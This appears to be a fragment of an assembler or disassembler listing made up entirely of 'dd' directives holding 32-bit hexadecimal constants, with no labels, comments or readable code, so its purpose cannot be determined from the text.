		dd 2BB7CE68h, 133BFDF1h, 0B5E9370Ch, 0AC5A229Bh, 0F18EC0C1h
		dd 4A0DA36Eh, 0AAC3AE96h, 590A1FC8h, 0A057C41h,	6F41ED5h
		dd 1DA17F98h, 0A3DA5895h, 0AFC8DACCh, 22E617AEh, 0FEE97698h
		dd 0E61DF667h, 7FA20790h, 1A232568h, 210A5766h,	0C222265Ch
		dd 0DB8C5A3Ah, 9B7512F7h, 874F0167h, 204A7E5Eh,	40AE897h
		dd 0DE2152D0h, 27F89688h, 59973E70h, 75178BFEh,	0E3EF2EF9h
		dd 85014598h, 0D8482BE9h, 0B091BD5Eh, 0D751DEE9h, 1CEC432h
		dd 8E525898h, 413B327Dh, 4F3B2608h, 1D40C3D1h, 0ED813E83h
		dd 11936006h, 2B3822D9h, 7A739BE2h, 0A43149D7h,	5CD6BE02h
		dd 0C7841333h, 7D58096Ch, 7A5F43BAh, 164316BCh,	9E67EB01h
		dd 0CEA41125h, 4DFB40C1h, 0EE4929ECh, 3EAC5B98h, 17C00610h
		dd 0CCD0205h, 9AD5E4F4h, 0BE1AD76Eh, 15207039h,	3B5981A7h
		dd 0F1FBD163h, 0C824E6D6h, 4EB29852h, 7BED36h, 9B61E504h
		dd 0B77241E9h, 6766A851h, 53D497B5h, 155685A8h,	547596ECh
		dd 3BEBD401h, 0CBF049F2h, 0DB650271h, 0DF91E903h, 9485245Eh
		dd 4BAD68F2h, 4DBD4060h, 0CC11A46h, 69BE5498h, 20CC720h
		dd 0E9458634h, 0B6813EC0h, 687FDE35h, 0BCED076Ah, 7CA91720h
		dd 8503996h, 2E91658h, 0ABE4177h, 803B5119h, 59698E22h
		dd 0D0CD017Eh, 0F27A0842h, 0FB6290F5h, 2DB73103h, 8A20EC24h
		dd 0EEBFB4E0h, 0A2189D63h, 6F92318Eh, 47581BF9h, 4A4A10DDh
		dd 0A821AFDDh, 0B37BE461h, 9FC9DFEBh, 0F5E91A2Fh, 681527CCh
		dd 270F4D8Fh, 6B27F154h, 34370830h, 4D886880h, 0FD80081Ch
		dd 0D1580927h, 43CAEA60h, 0B517744Ch, 1141B3B0h, 93B4F0Ah
		dd 0D4E936FAh, 233D0508h, 0FF03AA59h, 1C7856E9h, 0E912C1Ch
		dd 899D04D0h, 0FC515A3Ah, 0A9458049h, 1D525366h, 79CC8850h
		dd 10EFE7A4h, 9F355832h, 56F1314h, 3D5C226Ah, 1144281h
		dd 567D571Ch, 0DE51D725h, 9F65CB0Ch, 2444840Ch,	5819EC5Fh
		dd 0B3A7B6DAh, 77246FEFh, 6B4F33EDh, 77352B1Bh,	389AD382h
		dd 173E5DDh, 6DFB6853h,	0C15BD037h, 9CACEB5Eh, 0BB17BA04h
		dd 0D6C7FB0Ah, 0D449DFE2h, 44756099h, 51982A5Dh, 81A61870h
		dd 77C90734h, 987A5EFDh, 0ADBA9195h, 0EA2588F0h, 89C2F3FEh
		dd 9FFB863Eh, 2714820Ch, 3E7EB3CDh, 44C10E92h, 0EBF9511Eh
		dd 734CA1D7h, 1ED16046h, 0AE47D2BAh, 8F2C277Ah,	59926253h
		dd 895AAFA8h, 5E22E91h,	808384E5h, 7D4D6A2Eh, 1D930A4Eh
		dd 7834810h, 0CFFBF61Eh, 0DD8644F5h, 0F097F83Bh, 76380BFBh
		dd 0C38233A0h, 0EC6BA532h, 7EF8F1B1h, 0ED182C89h, 0E9D509B1h
		dd 52D412CEh, 1EC0577Ah, 265FC6E9h, 0D113298Ah,	3C78BB5Ah
		dd 69A124E9h, 0EE604092h, 89310DA2h, 0EAEB9AC6h, 0EF7357C2h
		dd 0A94BC239h, 12EA0035h, 0E9767E7Bh, 2913404Dh, 0FE02F097h
		dd 794291Ah, 99F009CDh,	832A2B93h, 68128071h, 0A3760ACh
		dd 732D648Ah, 5F860B0Bh, 21A03155h, 2E69C613h, 9015035Ch
		dd 9BBACF5h, 8CAB9EDCh,	6020F7Fh, 505D7FB4h, 13DFACF5h
		dd 874A13Bh, 800F3345h,	5B3F2F2h, 8C2572Fh, 0D586A0FFh
		dd 0B043E10Ah, 4CE98120h, 64D4BDA7h, 0B4800512h, 97BB951h
		dd 296F5B42h, 316B35D1h, 0BB4C511Bh, 1BEB85Fh, 32DB5635h
		dd 60C329CFh, 0A1DBB80Dh, 0F80DC27Ch, 74253857h, 0B034D893h
		dd 7A2E55B5h, 0E9861526h, 126E5B7h, 0E0C0D0F6h,	201D0C05h
		dd 0A49C9FDFh, 1059896Fh, 271AFC7Fh, 4A942939h,	2500ECBFh
		dd 6A949A12h, 15AA46B7h, 0FBDB2CE9h, 0E623A14Bh, 6B485AEAh
		dd 4E80C014h, 0DCCE0181h, 0D15C8226h, 27C02BEEh, 97735F7Ch
		dd 0B582DE7Eh, 0FE1233D9h, 0A081A9Ah, 7A5DFA75h, 463B2854h
		dd 0CDBD252Fh, 0E4BE37A2h, 0F805785Ah, 89156709h, 47AE9246h
		dd 0D75F4A48h, 6309C1F6h, 195CED7Ch, 8D530C04h,	2AB927ACh
		dd 0E0C4F6BCh, 177CAAB1h, 45CF2DE9h, 6841C576h,	4B6356A6h
		dd 5B232A78h, 52500B23h, 4AD6B9B6h, 2700E612h, 0E58027B5h
		dd 4FCDE69Fh, 0BE984CAh, 0FC2902BFh, 369E6382h,	7C2550C5h
		dd 1F2D165Eh, 2DF996B6h, 0B4EC20ABh, 2BE52DC0h,	0BD48A479h
		dd 5809E20Bh, 82E14901h, 0AC94D5E9h, 5DCB5B28h,	86594D16h
		dd 108D4C1Eh, 7251E260h, 5900BCC1h, 4E4BF868h, 203D3831h
		dd 0BE605E02h, 22F641CFh, 2DD6873Ch, 29D064C2h,	9A9E8C5Dh
		dd 0A7D75BBh, 6D0D0D10h, 85206554h, 0A3461381h,	83F70116h
		dd 2C1BCC55h, 16BB5D88h, 0DD67906Bh, 890DF992h,	931FFA3h
		dd 0FE69AD1Ch, 0A9534461h, 8FFEA4E8h, 5EB34AC3h, 0E70908D6h
		dd 0A60F7D25h, 0BA53C27h, 7656B711h, 94ED5B27h,	96F7C725h
		dd 0E824D2AAh, 1F60A99Fh, 8B9CB7FEh, 3E4BE1B0h,	9792BB3h
		dd 6D8D5BD7h, 0A42D3AE0h, 8992720Ch, 5DE987D6h,	311684C3h
		dd 0E3900ED0h, 0FCE045B9h, 1FCB03BCh, 1D1304C8h, 4D705AD8h
		dd 0F44BFB08h, 2127687Ch, 2F97C64Eh, 0C3C5561Bh, 0AABB60Dh
		dd 0EC2CCD6Ah, 2DC0FE06h, 510A42F3h, 5B050048h,	2D227476h
		dd 8B2D07B3h, 0FF4C221h, 7E119407h, 5FAD1C5Bh, 7DE4AEF4h
		dd 5AF440F2h, 3654409Dh, 4CBB3E15h, 4010B192h, 5285CDCBh
		dd 0AF903944h, 0C505B998h, 0C051A864h, 47B4A901h, 0BB3177AFh
		dd 80395FBh, 21878E9h, 2606C3CDh, 29E1078Dh, 0C05A029Eh
		dd 98C07F23h, 0C8F5EDFDh, 3159CBC0h, 8516B60Fh,	9CB26BD0h
		dd 89A0022Bh, 729B6BD5h, 0B372D2C3h, 0EF81DF01h, 42E84D77h
		dd 0BBD32162h, 0CE95931h, 9A2DE225h, 273C7D1Ch,	0FC589A55h
		dd 0DC29CC02h, 0F2DF7667h, 5DC60292h, 0B1D0EB1Ah, 4A63E915h
		dd 55CB03A4h, 0B164B330h, 2CAE11EBh, 90391662h,	7C279BCBh
		dd 16A724Ch, 5C145EECh,	6ED5F7h, 0FB16C532h, 0FC95B66Dh
		dd 4215802Ch, 97E93771h, 198C2E5Dh, 40606EFh, 0A008E7D8h
		dd 1685EA87h, 0E831E680h, 0EEC1B0AFh, 0F9E95803h, 12F5AE69h
		dd 76965581h, 0FB21EC2Dh, 96318C3Bh, 0B77E84Bh,	2FF6E9E9h
		dd 1D6B5F8h, 2E57DD47h,	3C126F08h, 0F81617AEh, 0BF797C7Dh
		dd 65923202h, 0A07477E9h, 1875B932h, 30417DF0h,	0B31A8321h
		dd 0DC79882Eh, 0B6196E32h, 200F46BEh, 41B84126h, 426355F0h
		dd 0C2D02810h, 0E14CFFE5h, 5F376815h, 4AB50738h, 0A02B2EE9h
		dd 0C280DA5Ch, 0BE884AC3h, 0F3B77A37h, 9D5F67Bh, 0BA5650DEh
		dd 5A58E507h, 53FAEA95h, 73383885h, 43DCF15Eh, 0CA406B7Eh
		dd 0F6C7CAFCh, 8533DCD9h, 0BD589368h, 0F0849229h, 101C37FCh
		dd 178B9FC5h, 357340FFh, 386E5382h, 0D00819Eh, 74F41E17h
		dd 729C0025h, 42D6476h,	5D4F4755h, 0E9DD0190h, 5B1E5887h
		dd 0F1F187D6h, 3956F269h, 2E8A55F2h, 0E9F29AFCh, 457D04E2h
		dd 0FC523544h, 0BB04D3A2h, 521DF2D9h, 0F085FAA6h, 0C65ED0AFh
		dd 50E24664h, 80DD7A95h, 1A4E5A08h, 0EE38C1E9h,	0C68369F1h
		dd 34D26943h, 1734DE1Ah
		dd 82C3F908h, 55125C68h, 0D04E4F5Bh, 2274BFD7h,	0C1F862FFh
		dd 0F9C26EDEh, 39C655F5h, 7AC471B5h, 0AC8F5955h, 76B70205h
		dd 0DC03466h, 633757C8h, 2AE10C74h, 0A0200578h,	0C66D135Dh
		dd 45E163Fh, 0DC733Ch, 5230D6B9h, 19259520h, 6C3F896Dh
		dd 0DD0610E5h, 0D0585B2Dh, 0D0575028h, 827A3000h, 907BBF04h
		dd 56086432h, 5A14140Fh, 6809C1B6h, 67F139B3h, 10C7E9C1h
		dd 4850B32Eh, 0C8EE054Ch, 75FC1465h, 0A59D2192h, 0A32B3864h
		dd 0C89BEAD0h, 0E2352DD8h, 680E7C26h, 90828C8h,	5E202FE9h
		dd 0DD7A8EBEh, 0D32C6B7Ah, 0BAC3D7Eh, 0C7FE8B27h, 0DF680919h
		dd 6EF7FEC2h, 1D47B909h, 0CF8114E9h, 0F79B481h,	0EEA03F78h
		dd 910EE268h, 0BE56839Eh, 2CB2196Dh, 3D42F460h,	0E961C506h
		dd 49294FFBh, 1A9925E5h, 66892A0Ch, 96738920h, 62CB878Fh
		dd 848C974h, 0B29D6EF4h, 0CF3394BAh, 0CAE0F582h, 6BE94655h
		dd 0DE79E460h, 6F315F5Bh, 61C63FF0h, 6FF71C47h,	2F7C7CE3h
		dd 10F22B17h, 0CEA6ED02h, 505528A4h, 40D30B23h,	94D46C2Ah
		dd 6AB00720h, 0C882CCF2h, 3E6A4D5Ah, 76126663h,	0D6B6A9F7h
		dd 2CAEE957h, 4714BA20h, 0D4631Eh, 23651C99h, 80DA72E9h
		dd 3C0029BBh, 0E3811EF2h, 393F1F19h, 0FCA9E94Dh, 5D005D2h
		dd 57CE00CBh, 587CB007h, 5BD83100h, 0E9D1F791h,	2D20BE1Fh
		dd 8D095E15h, 63FE5CBFh, 102C2DD5h, 0DA03F543h,	0E25E9071h
		dd 9564D8C0h, 0C9F380D6h, 0F66EF82Bh, 3953D7F6h, 4A9B8410h
		dd 66FC6DFBh, 0D0532F5Ch, 93939A86h, 3ABE3A50h,	49F5B993h
		dd 814029B7h, 0B180B7A9h, 0F6CABA88h, 9A681353h, 9037AB2Fh
		dd 0E377D390h, 5CE92D69h, 0CEFED300h, 0CA4AEE80h, 0BD3147FEh
		dd 5821078h, 90130CBEh,	0C81C6BDAh, 482D7044h, 7E846A80h
		dd 0C7D6173h, 31B578C8h, 79C43F30h, 0C06A67E1h,	7C9587BBh
		dd 0EE4CB5Bh, 418A4EF2h, 0F305431Ah, 0A4DFD520h, 5E386104h
		dd 68C033EDh, 0BA8ADBC1h, 58785859h, 218807B8h,	206F6CE1h
		dd 1049178Bh, 9C0838E9h, 7BF9BD70h, 0CFD14C44h,	366DF729h
		dd 3325D710h, 0D186465Fh, 0CBA1810h, 782E530Dh,	42E9D4B6h
		dd 662A1C67h, 494B3C0h,	4837F64Fh, 0A58157C2h, 20015E05h
		dd 4D05AAA7h, 0C5E920E1h, 0E538B7B1h, 0AE0BE4A7h, 685C9601h
		dd 0DE666FB8h, 0EB04D248h, 0AF332326h, 0C4576B6h, 4EEC8A2Ah
		dd 42123A00h, 0DF016B54h, 0C441411h, 0B8F5D87h,	833B7396h
		dd 0AFA95FEFh, 0C06B90C7h, 3E7C105h, 92E1D4D7h,	0D010B82Bh
		dd 3FBB45CCh, 0AFD6CFB3h, 6843C537h, 0CFAF943Ch, 0EE7D1666h
		dd 845BA4A2h, 977B77Bh,	661DF7E9h, 0B5E24B2Ah, 0D0A07B26h
		dd 78D374F6h, 865B28D8h, 8B011282h, 0B41DA814h,	133D8BFAh
		dd 5B04F680h, 6125774h,	83A7261Dh, 91B576A0h, 0C10D0ECFh
		dd 40688548h, 0C1C7460h, 0C701B446h, 0CFACBC96h, 205DF80Bh
		dd 0FC165533h, 25D1D3B5h, 3A480849h, 0D02FBACBh, 27BF8100h
		dd 705B1A51h, 37A12D84h, 7A35F747h, 177D8B98h, 0AD728567h
		dd 0B3EF02C2h, 75E5BE73h, 0C3215CC0h, 234584Fh,	15FD2380h
		dd 15285816h, 4B1CF303h, 0ECB569C3h, 9B34E3Eh, 3CE56880h
		dd 5A4A1F33h, 6D01BBACh, 0F74234CFh, 2E128BDAh,	3FBAD849h
		dd 0CE168EF2h, 4A73B8D4h, 77213309h, 0E54FCE05h, 0D3333279h
		dd 20E99F8Ch, 4D016B97h, 5C61F581h, 0E812736h, 324768C5h
		dd 961A8056h, 21DC0520h, 1AE909EFh, 39DD011Bh, 0F5F6C1CCh
		dd 7AE29741h, 4E7BD38Ch, 3EF4A3EDh, 6E8C5BB0h, 0A71517B7h
		dd 3E6F0002h, 0E91E5B91h, 0DCA93627h, 0DF91E918h, 55E35308h
		dd 1D033405h, 0E7C76B92h, 447973E7h, 0D04C97C6h, 0FF2D79A8h
		dd 10BC3099h, 6802F6CCh, 26596948h, 57F8E25Dh, 77F030C8h
		dd 0AFE9DD0Ch, 0B80F60Fh, 5866E8EDh, 3C09F006h,	0B0271EB0h
		dd 0E310C64Ch, 47253EE9h, 0F448C52Ah, 0A800E300h, 572A8C34h
		dd 265C2BBFh, 2EF2C64h,	7B770B66h, 247796F5h, 52BB64A6h
		dd 5A71E85Fh, 0BB68D330h, 7628846h, 0D5B83A10h,	4012E29Fh
		dd 4B0D08E8h, 3D1CAB2Bh, 3E852548h, 0AF0EADh, 95B93521h
		dd 312C0F1Eh, 0F8044DC7h, 10D469E9h, 3F0912B8h,	808041A1h
		dd 10E02D7Eh, 7D540B7h,	29273B5Dh, 34081C68h, 18141E1Ch
		dd 67EA1C47h, 0BC44B96Eh, 4D60704h, 87550AEh, 9F5FF444h
		dd 735F5D1Ah, 107C2F0Ah, 12BE5A9Bh, 422AF3F4h, 0DC0993EEh
		dd 0D7F7A340h, 48342739h, 950B204Ch, 0BD03AB7Ch, 6484F43h
		dd 0BFFDEC96h, 0E34026FFh, 2E2A7EBBh, 8DA05E79h, 2004D0F7h
		dd 0CD8BC967h, 67EA60AEh, 65098B27h, 0B16C9D68h, 0FC2F3B3Ch
		dd 7BC06BC7h, 821F964Ah, 625405C0h, 2745D1A5h, 8CC1E763h
		dd 0FBD86A94h, 6DFC9554h, 3AE950E1h, 14D7E8A7h,	200E90E5h
		dd 8019EB6Ah, 0F50616CAh, 0F253EAD8h, 30F614C2h, 82104CD1h
		dd 5DEC40B9h, 0C70422B8h, 50D051EBh, 0E962DCBBh, 0D653AE2Fh
		dd 90DD6B1Ch, 9923D259h, 57588FD5h, 0AA76AB44h,	8766B020h
		dd 3630E7F5h, 86F8BDC8h, 6BE0FE95h, 0B0842904h,	524F5810h
		dd 0E9A836F8h, 0E2220327h, 0B40FC85Bh, 51F62554h, 21078588h
		dd 0E1E16F94h, 0FE053AFAh, 0D7F15540h, 1D9D4F16h, 218AFACh
		dd 0F9BB5823h, 26661113h, 0EE0BED01h, 0A33BD999h, 64680B0Bh
		dd 52E7DE41h, 0C9B7D15Dh, 981B4204h, 0A240CE1Dh, 993B84Bh
		dd 52BF2662h, 0E90EEFF9h, 0BD8C37ECh, 9D3413D4h, 0E9374479h
		dd 0BAE2B02Eh, 0DC4AB805h, 9702424Ch, 40F11CE2h, 187DEA80h
		dd 0C67F42Fh, 74507540h, 0DA09F2C6h, 0D6C764C2h, 99B206Eh
		dd 1FC020BBh, 8E1A87Fh,	95B85813h, 786C01D2h, 3E1B3B0Fh
		dd 78A269C4h, 0A42234CFh, 0DA773132h, 0E46A4F4Dh, 0E403C2DFh
		dd 0C1758603h, 0B5CA10EAh, 0AB4CF7h, 0E870FEC6h, 5E846817h
		dd 0AFA48C41h, 5D490495h, 4B018FFFh, 0FEDF74BAh, 53709A84h
		dd 0BF555954h, 0BE58E851h, 0A26A03C8h, 0CCF68140h, 92B90D5Bh
		dd 38843E25h, 1A6FFD54h, 0A72DEFh, 0ED6FF6B5h, 4B7DB046h
		dd 0A425AD4Bh, 1B3538E6h, 99CDEB0Dh, 680CF033h,	7C2B20F0h
		dd 99010225h, 0F22EE4C7h, 0B3E01604h, 0BBD657A6h, 954A4B23h
		dd 4F3231FAh, 555E0298h, 0D6EB1551h, 6A9E836Eh,	0F20543A9h
		dd 0D3502DEDh, 6DC530C0h, 59B127F0h, 5107355Eh,	8772FDB9h
		dd 0B6F1C117h, 0A011D8D0h, 0E8282394h, 940CC13Dh, 2F2C593Fh
		dd 7D9CC104h, 9721561Eh, 0BD34B252h, 5ACB6655h,	89E3B858h
		dd 25AA74E4h, 81204CCFh, 9D7AD19Dh, 85A09354h, 0C87A0235h
		dd 70770F37h, 0B0C5A86h, 3F004F33h, 7ECB5B2Eh, 0EDD020BFh
		dd 60351CC7h, 80AF603h,	2934685Eh, 81A1CDDh, 8414091Ch
		dd 0BA0AE01Eh, 0C064052h, 0E92E4E60h, 71AF68D0h, 699528D1h
		dd 0E5D5A034h, 950ADBFh, 791BEB00h, 885E76D6h, 508E9603h
		dd 195B9E9h, 10EC8076h,	0C4D5F4C1h, 0F2C05AD4h,	9E4E605h
		dd 1DA66802h, 51665B98h, 8893B50Ch, 0DD0944EAh,	75D7038Ch
		dd 0CDB97335h, 93F28759h, 602BA41Eh, 817880C7h,	16D67254h
		dd 663CE7D2h, 0F24C5B68h, 52EB938Ah, 4BDA01CEh,	78F640AEh
		dd 0C1430AC4h, 0D508A8E3h, 0F1763CB1h, 9801A170h, 0F5D12C65h
		dd 0CD29091Dh, 7D9B1075h, 7F408260h, 68274FC3h,	1C47035h
		dd 573301Ch, 68F4E955h,	0D5091DB6h, 0F2279DCDh,	8827B36Eh
		dd 0FFE7173Ch, 0E9296016h, 58C2B669h, 0B7D60E9h, 0DBB47796h
		dd 4BA4E912h, 2EB1C3E4h
		dd 0C116011Ch, 2A7B8568h, 7682D927h, 58E9012Dh,	0E0B24DE4h
		dd 7FC4060Bh, 75D95EF5h, 13E3DF9h, 0BF685BD0h, 85E66B54h
		dd 22CAA96h, 33F06466h,	0F6BF82E1h, 6087BA55h, 82C982F3h
		dd 0C292E97Fh, 0BA885BE8h, 0D24BDEh, 4542E287h,	6803DCCh
		dd 28481040h, 0D2B04B01h, 84ECB79Eh, 459D4233h,	7EADBAD9h
		dd 80CC2F9Fh, 0E04E6DF8h, 28DF3D30h, 5E7D27FDh,	68076E5Bh
		dd 7F09030Eh, 0E912A1EEh, 42C847CEh, 5E63DC1h, 6723CA97h
		dd 0E57193E1h, 0ADB2EA84h, 0FB567AC5h, 0CC63868Eh, 4D4FC050h
		dd 0E67FE881h, 952C3302h, 80BD01B1h, 0B6524DC1h, 9DC6D8CDh
		dd 0DF61E9F2h, 0F1288706h, 25FA22BAh, 0D1C4D056h, 89208800h
		dd 48E3050Fh, 2196F4h, 7C1F3506h, 2D1D2194h, 13424C3Dh
		dd 55562BE9h, 8CECB61Ah, 0C17C03E0h, 5A081FC6h,	68F7406Eh
		dd 9802E02Fh, 0ABA00AF7h, 6E13B3CDh, 5186A4D9h,	0CCA152F6h
		dd 5EB43554h, 329E483Ch, 7FEE0B6Bh, 0EED5EF89h,	0D7A55AA3h
		dd 27ECB0A9h, 0CC145A3h, 256D6B4Ch, 3A166EBBh, 0B5907701h
		dd 2F7CBC05h, 0AE612258h, 0B22D00C4h, 78497543h, 0C7BB4CE2h
		dd 79AD2352h, 30FB93BCh, 8638D91Ch, 80E4FECFh, 0A650EF39h
		dd 0C20800F7h, 1C661EF8h, 347D7DFh, 2F48EFCFh, 0AF5C0A7Bh
		dd 2B331A32h, 0E42F45Ch, 0E507D5C4h, 0BDB28E58h, 0E9DF050Eh
		dd 0FDE29725h, 0E97468D6h, 5A137335h, 0F509AD04h, 0D87535C8h
		dd 3099DA29h, 0CDFE57D2h, 0EC0F494h, 81D1739Fh,	0F28062B2h
		dd 0E90683F8h, 76D58851h, 77AB25AAh, 3B6911E9h,	9F89F0E0h
		dd 2E560681h, 19CC3A01h, 2F4664F5h, 0B6BC80F7h,	459F293Dh
		dd 0B3E9E262h, 7355156Ah, 0C20449E2h, 7868054Ah, 0EE7164AEh
		dd 0A07E9B9Dh, 0C35B2B65h, 58FD7819h, 693EF66Ah, 2F64773Dh
		dd 0C9581130h, 0B191EEEh, 0D6294E6Ah, 2F088788h, 8382ABFEh
		dd 0DD369F4Ch, 0FC97B114h, 8A54AFF3h, 527CE49h,	0D2149DBBh
		dd 4AB20E1Ah, 81151F24h, 50010293h, 0C65E9113h,	57E23E4Ah
		dd 6DA4BD80h, 0F7022228h, 0FEE957D5h, 0FEDDADAh, 27D334C9h
		dd 0DE58F269h, 0ADBC26B4h, 9AD0D4C7h, 4177A9C5h, 387C4AFFh
		dd 0D6B4B71Dh, 1585338h, 0A50C105Eh, 0B1097821h, 346D779Ch
		dd 37E84616h, 0EEA3E394h, 0DDF86B4Eh, 0E3DDE617h, 838E4AC0h
		dd 0B9A3DA40h, 9EA03B4h, 0F6B030E2h, 43970BA5h,	5FD2DC3Fh
		dd 134E7558h, 66497BFCh, 46851615h, 5F9758Ch, 0E9288806h
		dd 125F0DEh, 0FB2DE807h, 5D40B056h, 13627505h, 55970E4h
		dd 0C0D417BDh, 8EE9C698h, 79E13670h, 0E6EAB43Fh, 0D9E9C2ACh
		dd 0E919AEBh, 57AA0CDBh, 61E316F3h, 0B5560401h,	0EB2D0027h
		dd 0F50221B2h, 0A05A4C72h, 0E60EC0B9h, 0BECEFE06h, 0F3712031h
		dd 0E83BD16Ah, 37682E5Eh, 1B292468h, 0E9506026h, 14E0AE0h
		dd 7B0F1D01h, 863B28CCh, 0F6C8077Eh, 68478201h,	9471146Fh
		dd 0C930D58Dh, 5CB57280h, 35586E82h, 8D5106A2h,	0AB0806A7h
		dd 0C4614E5Eh, 0E907059Ch, 1DD2E81Dh, 43CB5457h, 0D33A7D44h
		dd 0AC913B02h, 75BBBA00h, 31402698h, 0B6BC0961h, 41CCEED9h
		dd 34E8C156h, 6035C242h, 0FF810554h, 40687121h,	0AE62F46Eh
		dd 8943CE7Ch, 5505A4DBh, 1B57CBF2h, 0E9D3D183h,	1F63C598h
		dd 0D8ADC13Ch, 0DE9D5B50h, 0F6E9D083h, 310AEF65h, 0D9F987AAh
		dd 585736E2h, 28B61313h, 0EA4D0BF0h, 33829E29h,	57003422h
		dd 62085568h, 0B5B34C9Dh, 4C157809h, 5A27E7FAh,	0D4586F7Ah
		dd 808F18E7h, 26BCBE24h, 8076706Eh, 3B630E31h, 745D3FE9h
		dd 0ADC83BFDh, 5E6A41E7h, 0C958216Eh, 0C80101B3h, 1394CB2Eh
		dd 13123B35h, 0A6994E8h, 0E90615DBh, 12BE2082h,	0B15D5955h
		dd 0A5AD3E6Eh, 57E508D3h, 0A2685A02h, 0BB99A263h, 9707A77h
		dd 161B4C56h, 0C78070FEh, 93FB95DDh, 0F0FABD09h, 587DDA3Dh
		dd 5BD80ACBh, 9C029A52h, 754BE260h, 0FCA09082h,	0BCC3256Ah
		dd 8B4E7FF9h, 0C4E85D6Dh, 2FE4FD54h, 0C8809222h, 280AC7A0h
		dd 4809DEE8h, 0D664556Dh, 1F582B59h, 0FAD208B1h, 6866F341h
		dd 44D224BBh, 0E5123361h, 0C1B9CB49h, 0F10EA787h, 438842C6h
		dd 0C1EEF4FCh, 31069FEAh, 28FA6A70h, 0A008B850h, 14117FA9h
		dd 0E0E937E0h, 90760125h, 222D89EFh, 4CF368A0h,	35B626E8h
		dd 0E0B70824h, 58168124h, 18847F10h, 5A4E1866h,	0CFC85B89h
		dd 0A8E90A31h, 0BA812A69h, 71B01762h, 194DB881h, 834A0AEBh
		dd 143F30Eh, 41B60349h,	0E97FD263h, 9CDA97DAh, 5A50A14Ch
		dd 68E06AFCh, 18B757C3h, 0B31C80ADh, 7A12B7h, 0B6B92F1Ch
		dd 0D01DFF88h, 14C0C181h, 87E979A9h, 0FD31CE08h, 0CCE316E5h
		dd 0ACA056C8h, 3932215Bh, 0E1C51433h, 31326F7Bh, 176C6883h
		dd 1CFF0987h, 0E6AAC46Ch, 0D0E9034Fh, 3A370623h, 0E61FF45Ah
		dd 5D880340h, 2884E2D7h, 17F4AEFDh, 1685BED2h, 0F4B5D25Eh
		dd 0F927805Eh, 45FDE93Fh, 0BD5500D8h, 1CC514Ch,	52C9019Dh
		dd 393FFBAh, 0D9201329h, 91E00577h, 405FFE4Fh, 0B616C38Bh
		dd 40356400h, 0F746A276h, 0E8D10DD0h, 6CEB9AE9h, 0A8417C42h
		dd 0A6B59642h, 0E62E9793h, 0B2BE0456h, 0C170784Ah, 0F91D7E49h
		dd 6E0C8307h, 202F3677h, 0F7F631F6h, 0F4341427h, 3B190A5Dh
		dd 27E281C4h, 200F784Bh, 7A13DB29h, 1BA8720Dh, 1DA7BD5Fh
		dd 0B2C922EBh, 0BA218069h, 83726378h, 0AF92560Eh, 0F0E05784h
		dd 9908753Dh, 18DC826Eh, 0C8F7766Dh, 95ECD490h,	0CC307C65h
		dd 0E22B34A9h, 23422468h, 0CB59C144h, 5055C6D4h, 1F55C87h
		dd 524B82Bh, 0EA773C68h, 0DF4374CAh, 9A63214Bh,	7D5D3DE8h
		dd 6FF40589h, 0F8D8A10Ch, 80216630h, 0B04F9B9h,	0CA31987Ah
		dd 0DBEBBDC0h, 0CB474C6Bh, 0CEFD324h, 0C2919D48h, 0B42C0F09h
		dd 25445C07h, 0AD552BB2h, 90311DE6h, 0DE03FC2Fh, 0C7DEC649h
		dd 0AE5C16B0h, 85822374h, 9D849419h, 31BA69A0h,	2414FD5Bh
		dd 0F0E2D1h, 49FAB65Eh,	17FBB951h, 0EC0A8E4Ch, 361D023Ch
		dd 2CCF0122h, 0CAB75911h, 0D0170D88h, 34E9DE40h, 837ABCE5h
		dd 9A237CEh, 0BD547BDAh, 6A415017h, 14911ED2h, 0C1AAB03Eh
		dd 40014514h, 5C0B05F8h, 0EEF6D0Dh, 1861813Dh, 0E6399D07h
		dd 1BE70655h, 51339892h, 52E4BC89h, 6D6EBD21h, 0DEE9DAB4h
		dd 0DF8927B6h, 792D07DCh, 0DE894F72h, 0DFC20977h, 99805DC4h
		dd 719808E7h, 0E9564204h, 59095B83h, 5CE592F4h,	0FD53E949h
		dd 6DAD6B02h, 9C881C55h, 46A8CFC0h, 718AC2AFh, 0F3AE12C0h
		dd 89524885h, 0B35B7039h, 366805E1h, 101EF36Eh,	0A15B220Fh
		dd 53728E47h, 8027EB49h, 0B63EF09Eh, 26E9140Ah,	44D262B5h
		dd 1402228Eh, 60672549h, 1619BB49h, 0AA18DB61h,	69303E13h
		dd 9537BC68h, 0CCD740C6h, 1DC774BFh, 132D2CA7h,	0F7340016h
		dd 42708B02h, 0C20F5FB0h, 0D0D56150h, 55F6706h,	89020C4Eh
		dd 18B253Eh, 8264E0D6h,	629A946Eh, 5703955Fh, 80BEB455h
		dd 81EF87BFh, 3D5BCF05h, 6DD00B1Ch, 64A7029Ah, 88FF3465h
		dd 32F6ADCFh, 71F02C4Fh, 0E908A0EAh, 5E1E4C9Fh,	426E68C2h
		dd 26853D90h, 0E9099Eh,	1D1F1320h, 91BA0E66h, 0E8361C75h
		dd 495E60D8h, 90469364h, 0EF009B9h, 8BD72656h, 8200F0E3h
		dd 46EC550Ah, 42E894Ch,	0F757E958h, 38D629BDh, 765FCE1Bh
		dd 68C2D0FCh, 99EA4886h, 844475Dh, 0E625C7CFh, 5DE826B6h
		dd 0D7A30867h, 68E2E220h, 13BF5F48h, 0F8B2232Fh, 89FC7402h
		dd 21DF09D3h, 23ABCF69h
		dd 12B929CDh, 7D45F1A7h, 5F2B91A7h, 53C0CD6h, 5BBD4B1Ch
		dd 5CB00E70h, 2D6E03A8h, 9ED721Fh, 36565EA8h, 0BF0557Ah
		dd 0E978E51Ah, 71B29030h, 1E6B2617h, 806F0025h,	0EF3173ECh
		dd 82A5E92Fh, 76515DFFh, 0F2896566h, 660F2EB9h,	0BA9EFFA5h
		dd 4DD12D04h, 98FC0285h, 945B0740h, 53CF92D3h, 27E4A3E1h
		dd 0F91C775Ah, 89018890h, 0E911C956h, 819D7E50h, 4492C8CDh
		dd 3E2C005h, 4B9FCABBh,	49F9A184h, 2A00CA6h, 0E912370Ah
		dd 0CCEDA33Fh, 0D6ADBCD2h, 5EFEB8E0h, 2BB7894Eh, 0B25AEECEh
		dd 9EA8C232h, 0FA1AE0A9h, 8568125Fh, 0F3F4A478h, 0D4476681h
		dd 4C10B2D2h, 96730A8h,	5345C657h, 1405CD2Dh, 13098E0Dh
		dd 30305368h, 0DADFE940h, 181679Eh, 25678A0Dh, 5EA66520h
		dd 1090CA44h, 0BD020C21h, 396C4BB7h, 0E57A485Dh, 6B371659h
		dd 0C4AD51h, 3817DAC5h,	4BD5E949h, 0EA3524C9h, 27729D8Fh
